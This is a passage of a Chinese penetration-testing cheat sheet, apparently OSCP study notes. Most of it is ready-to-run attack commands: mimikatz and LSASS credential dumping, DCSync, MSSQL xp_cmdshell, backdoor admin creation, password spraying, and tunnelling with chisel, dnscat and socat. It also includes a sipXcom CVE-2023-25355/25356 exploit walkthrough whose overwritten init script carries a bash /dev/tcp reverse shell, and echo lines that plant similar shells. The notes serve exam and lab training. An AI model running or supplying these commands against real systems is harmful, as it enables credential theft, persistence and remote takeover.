31


$cmd.CommandText = "SELECT name FROM master.dbo.sysdatabases"; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()

# 启用 xp_cmdshell
$cmd.CommandText = "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE"; $cmd.ExecuteScalar()

# 执行系统命令
$cmd.CommandText = "EXEC xp_cmdshell 'whoami'"; $cmd.ExecuteScalar()

# 当前用户
$cmd.CommandText = "SELECT SYSTEM_USER"; $cmd.ExecuteScalar()

# 当前用户是否是 sysadmin
$cmd.CommandText = "SELECT IS_SRVROLEMEMBER('sysadmin')"; $cmd.ExecuteScalar()

# 当前用户的数据库权限
$cmd.CommandText = "SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()"; $cmd.ExecuteScalar()

# 服务器级别权限
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'SERVER')"; $cmd.ExecuteScalar()

# 数据库级别权限
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'DATABASE')"; $cmd.ExecuteScalar()

# SQL Server 版本
$cmd.CommandText = "SELECT @@version"; $cmd.ExecuteScalar()

# 服务器名称
$cmd.CommandText = "SELECT @@SERVERNAME"; $cmd.ExecuteScalar()

# 当前数据库
$cmd.CommandText = "SELECT DB_NAME()"; $cmd.ExecuteScalar()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


mssql提权技巧

这是MSSQL的权限提升利用,通过IMPERSONATE权限实现:

首先检查能否模拟其他用户：

-- 查询可以模拟的用户
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

发现可以模拟hrappdb-reader用户
执行模拟：
EXECUTE AS LOGIN = 'hrappdb-reader'

模拟成功后就获得了hrappdb-reader的权限,可以访问hrappdb数据库

64.mimikatz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


# mimikatz 一键执行命令
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe /c "privilege::debug" /c "token::elevate" /c "lsadump::sam"
mimikatz "privilege::debug" "token::elevate" "lsadump::sam"

# 所有的凭证提取
 lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache
mimikatz.exe "lsadump::sam" "privilege::debug" "sekurlsa::msv" "lsadump::secrets" "lsadump::cache" "exit"
# 提取所有登录凭证
mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 或者专门提取域管理员的
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /user:administrator" "exit"

# 提取可能存在的账号密码
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"

# 如果是管理员 可以尝试获取当前计算机上的票据
通过sekurlsa模块(从lsass内存)：

# 从运行的lsass进程
sekurlsa::tickets # 查看所有票据
sekurlsa::tickets /export # 导出所有票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"

# 从dump文件
sekurlsa::minidump lsass.dmp # 加载dump
sekurlsa::tickets # 查看dump中票据

通过kerberos模块(从当前会话)：

powershellCopy# 查看票据
kerberos::list # 列出当前会话票据
kerberos::tgt # 查看当前TGT
kerberos::purge # 清除所有票据(你说的这个)

# 导出票据
kerberos::list /export # 导出所有票据
# 默认导出为.kirbi文件

# 票据操作
kerberos::ptt ticket.kirbi # 注入票据(Pass The Ticket)

# 域控制器同步dcsync
.\mimikatz.exe
lsadump::dcsync /user:DC01\web_svc
lsadump::dcsync /user:corp\Administrator

65.域管登录历史

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# 查看域管理员的登录会话
query user /server:localhost

# 检查注册表中的登录历史
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"

# 创建 lsass dump
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp

# 然后用 Mimikatz 分析
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

66.域内信息收集

1
2
3
4
5
6


# 查看域控制器
nltest /dclist:medtech.com

# 或者
nslookup -type=SRV _ldap._tcp.medtech.com
nslookup -type=SRV _gc._tcp.medtech.com

67.ligolo-ng

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3

攻击机
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

靶机
.\agent.exe -connect 192.168.45.184:11601 -ignore-cert

配置路由
sudo ip route add 10.10.174.0/24 dev ligolo

session # 显示所有可用会话
session list # 列出所有会话
session <ID> # 选择特定会话ifconfig # 显示网络接口配置
info # 显示当前会话信息
listener_list # 显示所有监听器
bashCopystart # 启动所选会话
stop # 停止当前会话

68.windows添加用户到远程桌面组

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


#打开远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

cmd /c net user gesila Admin@123 /add
cmd /c net localgroup Administrators gesila /add
cmd /c net localgroup "Remote Desktop Users" gesila /add

# 域格式如下
xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea

# 本地如下
xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea

引用文件这样就行
xfreerdp file.rdp /d:skylark /u:kiosk /p:'XEwUS^9R2Gwt8O914'

69.windows_history

1

C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

70.powershell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

Enter-PSSession -ComputerName CLIENT02 -Credential $cred
Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred

New-PSSession -ComputerName CLIENT02 -Credential $cred
New-PSSession -ComputerName 172.16.131.83 -Credential $cred
# 1. 使用会话ID进入已创建的会话
Enter-PSSession -Session (Get-PSSession -Id 18)

# 2. 或者使用ComputerName直接创建并进入新会话
Enter-PSSession -ComputerName CLIENT02 -Credential $cred

# 列出所有会话
Get-PSSession

# 删除会话
Remove-PSSession -Id 18

# 断开会话但不删除
Disconnect-PSSession -Id 18

# 重新连接会话
Connect-PSSession -Id 18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#
icacls .\auditTracker.exe
# 看具体权限
Get-Acl .\auditTracker.exe
# 以高权限运行
sc.exe start audtiTracker
sc.exe qc auditTracker
# 查看文件是什么权限运行的
Start-Process .\auditTracker.exe -Verb RunAs
Get-Service auditTracker | Select-Object *

# 查看服务
 Get-Service "auditTracker"

1
2
3
4
5
6


schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select TaskPath,TaskName

schtasks /query /tn "任务名" /fo LIST /v
$task = Get-ScheduledTask -TaskName "任务名"
$task | Select *

71.域内枚举

这两个我用了很久了但是有些版本的有些参数不一样就全记一下吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success
# crackmapexec延时有问题 用jitter会报错 还是用netexec好点
netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5

有时候Connection Error: Error while reading from remote 需要手动验证一下

# 整体参数 可指定域名
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success

# https://github.com/ropnop/kerbrute/releases
# 用于Kerberos爆破
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
可以放到域成员主机上跑

72.漏洞其他用法

1
2
3
4
5
6
7


# 读取当前运行该程序用户身份
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ

keepass2john Database.kdbx > 1.txt
keepassxc Database.kdbx
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

73.imap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


imap命令

# 先登录
a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR

# 列出所有邮箱
a002 LIST "" "*"

# 选择收件箱
a003 SELECT INBOX

# 查看邮件
a004 FETCH 1:* FULL

# 查看状态
a005 STATUS INBOX (MESSAGES)

# 列出所有文件夹
a006 LSUB "" "*"

74.Library-MS File Attack

https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262

https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df

1

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav

75.postgres

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


https://www.cnblogs.com/renhaoblog/p/15035230.html

psql -h localhost -p 5432 -U postgres

# 指定数据库名称（默认是 postgres 数据库）
sudo /usr/bin/psql postgres

# 或者
sudo -u postgres /usr/bin/psql postgres

# 或者使用连接字符串
sudo /usr/bin/psql "postgresql:///postgres?user=postgres"

CREATE ROLE root WITH SUPERUSER LOGIN;

sudo psql -U postgres

76.windows服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# CMD命令
sc query # 查询所有服务的基本信息
sc query state=all # 查询所有状态的服务
sc qc <服务名> # 查询特定服务的详细配置信息

sc stop <服务名>
sc start <服务名>

发现服务进程
tasklist | findstr GPGService
关闭它
taskkill /F /IM GPGService.exe

# PowerShell命令
Get-Service # 查看所有服务
Get-Service | Where-Object {$_.Status -eq "Running"} # 查看正在运行的服务
Get-Service -Name "服务名" # 查看特定服务

# 列出所有服务并筛选关键信息
sc query state= all | find /i "SERVICE_NAME" # 先获取所有服务名
# 然后遍历每个服务名查询配置
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "BINARY_PATH_NAME"

# 或者查找以LocalSystem运行的服务
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "SERVICE_START_NAME"

Get-WmiObject win32_service | Select-Object Name, PathName, StartName

sc query type= service | findstr /i "dev"

77.Windows DLL/EXE 搜索顺序漏洞利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


当服务路径中包含空格且没有使用引号时，Windows会按照以下顺序查找可执行文件：

CopyC:\Skylar.exe
C:\Skylar\Development.exe # 这就是为什么你的利用成功了！
C:\Skylark\Development Binaries.exe
C:\Skylark\Development Binaries 01.exe
C:\Skylark\Development Binaries 01\DevService.exe

在你的案例中：

服务路径是：C:\Skylark\Development Binaries 01\???????.exe
Windows遇到无法解析的文件名（?????）时，会按照上述顺序查找
你在C:\Skylark\放置了Development.exe
这正好匹配了搜索顺序中的第二个位置

漏洞的关键点：

路径中包含空格
路径没有用引号括起来
Windows的自动路径解析机制

78.tftp(udp)

之前在vulnhub上用过这个服务但是没做笔记这个特点就是没有dir之类的命令文件全靠猜

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


# 进入tftp交互模式
tftp 192.168.214.222 69

# 在交互模式中：
binary # 设置二进制传输模式
get file # 下载文件
put file # 上传文件

# 下载文件
atftp -g -r filename 192.168.214.222 69

# 上传文件
atftp -p -l localfile 192.168.214.222 69

# 下载文件
tftp 192.168.214.222 -c get remotefile.txt

# 上传文件
tftp 192.168.214.222 -c put localfile.txt

配置文件
cat /etc/xinetd.d/tftp

https://nmap.org/nsedoc/scripts/tftp-enum.html
nmap -sVU -p69 --script tftp-enum 192.168.214.222
/usr/share/metasploit-framework/data/wordlists/tftp.txt

79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP

很有意思的一个漏洞利用，期间非常非常坎坷，我在discord和claude的帮助下才勉强完成这一部分，可能是因为全部搞完了才觉得有意思，在我学习的过程中我感觉人都要傻了，在漏洞利用的过程中我整个人都是懵的，卡在这里共计一天半，基本上是做一部分就要思考，而且路上一直不行，一直不行，明明还不是特别了解漏洞利用原理就一直复现失败，好在最后解决了，并且如果一帆风顺或许我不会记这么牢也不会深刻了解这个东西，这个应用，在google的路上全都是cve编号，没有人搞这个东西。

先说关键点 https://sploitus.com/exploit?id=1337DAY-ID-38254 #这个博客是唯一讲解了这个漏洞原理的

这个博客我没有搜到过，我在discord里面找，他们给的链接都已经被删除，找不到原文，这是其他网站的备份，我已经下载到本地了，这也是我路上的一个误区，discord给的链接一直访问不了，我本以为就是这样，后续才发现是被删除了。

这个博客贯穿这个漏洞，基本上想要的东西都在里面，如果想自动化利用可以试试https://github.com/AlexLinov/sipXcom-RCE

我正是因为自动化不行才来做这个的，接下来解析复现这个漏洞。(因为OSCP保密协议我打码会非常多)

首先得有个凭证，低权限用户的就行，至于在哪里拿得看自己

确保能登陆。运行pidgin 记得以非root权限加上目标ip+port运行这也是关键点我不清楚这是否有影响但至少我全改好了之后就能成功了

登录低权限用户，在那个博客里介绍的是可以自行添加用户也就是点击下面的那个create this new account on the server，这里我没有用那个

如果要走代理的话不用多余配置多余配置proxy反而会卡住可以提示一下就是在退出后重新打开的时候会卡住没有任何反应 rm -rf ~/.purple/ 运行这个命令就行删除配置文件再打开就好了

遇到弹窗就点accept同意就行了不然进不去还有的就是 Domain是一定要填的而且对应的domain和ip要加到host里面不然可能索引不到服务器

绿灯才算连接成功其他情况肯定是配置出问题了网络软件都有可能

填这里就行主要是聊天添加好友填自己都行填完add加进去

添加完啥都没有看上面的图全部勾上我这里初始化是只勾了两个只有这样才能看到所有用户包括没同意好友离线之类的

双击图标聊天框就出来了构造payload

1
2
3
4
5
6
7


首先监听本地80端口

nc -lvnp 80

聊天框输入下面的东西

@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc

不出意外就如上图里面是存在密码的原理就是里面存了聊天记录可能有些有意思的东西比如管理员的密码看就行了

找到了管理员密码就可以构造exp了原理就是他用了一个操作用来覆盖/etc/init.d/openfire 当重启sipXopenfire的时候会重新加载配置文件就会调用里面的sh 导致RCE 有一行有反弹shell的命令记得改ip/port

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214


#!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#

#####
# Begin setup work
#####

# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0

# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi

su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"

# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi

# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"

# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"

# -----------------------------------------------------------------

# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi

# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"

# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"

if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi

# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"

# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"

# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi

# Export any necessary variables
export JAVA_HOME JAVACMD

# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""

#####
# End setup work
#####

start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR

PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi

# Start daemons.
echo -n "Starting openfire: "

rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?

echo

[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire

sleep 1 # allows prompt to return
cd $OLD_PWD
}

stop() {
# Stop daemons.
echo -n "Shutting down openfire: "

PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi

RETVAL=$?
echo

[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}

restart() {
stop
sleep 10 # give it a few moments to shut down
start
}

condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}

status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}

findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}

# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac

exit $RETVAL

保存这个文件在本地比如openfire.txt 接下来重写/etc/init.d/openfire文件

@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy

开一个http服务就行

然后在聊天框输入上面的命令就能下载成功并覆盖openfire文件

那么最后就只差重启服务了讲一下我的路这里包括那个博客也没有将在哪全靠摸索记得按照上面的exp监听好端口

算是非常详细的教程了 discord里面有些人都说这是一个有趣的box 我也觉得是这样的当然是在打完之后才会觉得有趣在重启之后等一段时间就会收到root的shell了

80.tcpdump

1

tcpdump -i any udp -w capture.pcap

81.bsd

1
2


目录传统上用于存放临时用户或访客用户的主目录
/usr/guest/

82.windows命令行

#权限

1
2
3
4
5
6
7
8


首先获取文件所有权：
takeown /f "C:\Users\k.smith\.ssh\id_rsa"

修改文件权限以获得完全控制：
icacls "C:\Users\k.smith\.ssh\id_rsa" /grant Administrators:F

强制修改权限：
cacls "C:\Users\k.smith\.ssh\id_rsa" /E /P Administrators:F

83.socat

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


使用更详细的监听命令：

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT

或者尝试记录通信内容：

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork "SYSTEM:tee /tmp/socat.log"

也可以尝试与它交互：

bashCopy# 监听并显示所有收到的数据（十六进制格式）
socat -x UNIX-LISTEN:/tmp/s,fork STDOUT

将本地的端口代理出来
# 在目标机器上将本地的8888端口 转移到0.0.0.0的33333上
socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888

# 反向搭建隧道
# 在攻击机器上:
socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost
# 在攻击机器上:
socat TCP:攻击机IP:33333 TCP:127.0.0.1:8888

84.VNC密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


https://www.cnblogs.com/fczlm/p/17759610.html

VNC密码
配置路径：c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini，解密工具：https://github.com/jeroennijhof/vncpwd

TightVNC
TightVNC的加密后密码存在注册表里内，需要管理员权限

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort

解密工具：https://github.com/jeroennijhof/vncpwd

RealVNC
ealVNC的加密后密码存在注册表里内，需要管理员权限。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
解密工具：https://github.com/jeroennijhof/vncpwd

首先创建一个包含原始十六进制的文件：

bashCopy# 使用 xxd 创建二进制文件
echo "BFE825DE515A335BE3" | xxd -r -p > vnc.txt
# 然后尝试解密
./vncpwd vnc.txt

或者尝试使用 MSF 的方法：
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt("BFE825DE515A335BE3", fixedkey)

或者尝试另一个版本的 vncpwd：
bashCopygit clone https://github.com/gitdurandal/vncpwd.git
cd vncpwd
make
./vncpwd BFE825DE515A335BE3

vncviewer 192.168.214.220:5900
# 输入密码：R3S3+rcH

85.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


服务端监听（攻击机）

# 服务端基本语法
./chisel server --reverse -p 8000

客户端连接（靶机）
# 基本连接
./chisel client 攻击机IP:8000 R:本地监听端口:目标IP:目标端口

常用命令示例：
反向代理单个端口
# 服务端
./chisel server --reverse -p 8000
# 客户端
./chisel client 攻击机IP:8000 R:8001:目标IP:目标端口

SOCKS代理
# 服务端
./chisel server --reverse -p 8000
# 客户端
./chisel client 攻击机IP:8000 R:socks

86.echo的一些性质

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# echo如果写的是双引号 会导致#!/bin/bash无法写入
# '单引号没问题

echo '#!/bin/bash' > 1.sh
echo "#!/bin/bash\n" > __fs.sh

# 需要转义需要加-e
echo '#!/bin/bash' > __fs.sh
echo -e "check_filesystems() {\nbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" > __fs.sh

echo '#!/bin/bash' > 1.sh
echo -e "check_filesystems() {\n\tbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" >> 1.sh

87.dnscat(dns隧道)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


# 第一步：在Kali攻击机上
# 启动dnscat2服务器端
dnscat2-server feline.corp # feline.corp是我们自己指定的域名,随意命名即可

# 第二步：在目标机器上
# 上传dnscat_exercise_client到目标机器
# 执行客户端连接到我们的服务器
./dnscat_exercise_client feline.corp # 使用相同的域名
# 一般上面在公网适合 不过目前一般都是内网 所以指定dns服务器到我们的kali就行
# 在目标机器上:
# 使用--dns参数指定服务器IP和端口
./dnscat --dns server=<kali机器的IP>,port=53

# 或者更完整的命令:
./dnscat --dns server=<kali机器的IP>,port=53 --secret=<密钥值>

# 第三步：在Kali的dnscat2服务器端操作
# 查看连接状态
dnscat2> windows

# 切换到会话
dnscat2> window -i 1

# 设置端口转发
command (目标机器名) 1> listen 0.0.0.0:4455 192.168.176.7:445

88.windows域内详细信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


LDAP本地搜索
PowerView
教程 https://powersploit.readthedocs.io/en/latest/Recon/

# 导入
Import-Module .\PowerView.ps1

# 域的基本信息
PS C:\Tools> Get-NetDomain

Forest : corp.com
DomainControllers : {DC1.corp.com}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC1.corp.com
RidRoleOwner : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name : corp.com

# Get-NetUser获取域中所有用户的列表
PS C:\Tools> Get-NetUser

logoncount : 113
iscriticalsystemobject : True
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 9/13/2022 1:03:47 AM
name : Administrator
objectsid : S-1-5-21-1987370270-658905905-1781884369-500
samaccountname : Administrator
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
cn : Administrator
whenchanged : 9/13/2022 8:03:47 AM
instancetype : 4
usncreated : 8196
objectguid : e5591000-080d-44c4-89c8-b06574a14d85
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com
dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise
 Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}
lastlogon : 9/14/2022 2:37:15 AM
...

# 输出表明cn属性保存了用户的用户名。让我们将输出通过管道传输到select中并选择cn属性
PS C:\Tools> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen

# 取出其他属性
Get-NetUser | select cn,pwdlastset,lastlogon

# 类似地，我们可以使用Get-NetGroup来枚举组
PS C:\Tools> Get-NetGroup | select cn

cn
--
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Sales Department
Management Department
Development Department
Debug

# Get-NetGroup调查销售部门并将输出导入到select member
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


# 获得更多信息

